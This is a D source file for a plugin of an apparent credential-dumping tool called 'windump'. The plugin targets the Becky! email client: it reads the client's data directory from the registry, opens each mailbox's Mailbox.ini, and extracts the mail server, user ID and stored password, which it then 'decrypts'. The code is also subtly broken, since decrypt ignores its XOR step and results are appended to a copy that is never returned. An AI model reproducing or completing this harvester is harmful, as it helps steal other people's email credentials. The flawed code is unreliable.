
module windump.plugins.becky.becky;

import std.base64;
import std.stream;
import std.regexp;
import std.file;

import windump.scanning.detector;
import windump.util;
import windump.registry;

const string RegKey = `Software\RimArts\B2\Settings`;

const string UserID = `UserID`;
const string MailServer = `MailServer`;
const string PassWd = `PassWd`;


class BeckyDetector : Detector!(BeckyDetector, "email-client/becky", "table")
{
    public this()
    {
    }

    public override ResultItem[] update()
    {
        ResultItem[] ret;

		string[] paths = getMailBoxPaths;
		foreach(path; paths)
		{
			processSingleFile(path, ret);
		}
        return ret;
    }

	string getInstallDirectory()
	{
		Key hkcu = Registry.currentUser;
		scope Key k = hkcu.openSubkey(RegKey);
		return k.getValue("DataDir").value_SZ();
	}

	string[] getMailBoxPaths()
	{
		string instDir = getInstallDirectory();
		string[] ret;
		File f = new File(instDir ~ `Folder.lst`);
		foreach(char[] line; f) {

			version(D_Version2) {
                //ret ~= cast(immutable(char)[])(instDir ~ line ~ `\Mailbox.ini`);
            }
            else ret ~= instDir ~ line ~ `\Mailbox.ini`;
		}
		return ret;
	}

	static string decrypt(string enc)
	{
        string enc2;
		foreach(char b; enc) {
			b ^= 2;
            enc2 ~= b;
        }
		string str = decode(enc);
		return decode(str);
	}

	void processSingleFile(string path, ResultItem[] ris)
	{
		scope auto ini = new IniFile(path);
        ResultItem item;
        
        item.provider = name();
		item.host = ini[MailServer];
		item.account = ini[UserID];
		item.password = decrypt(ini[PassWd]);
        ris ~= item;
	}

}
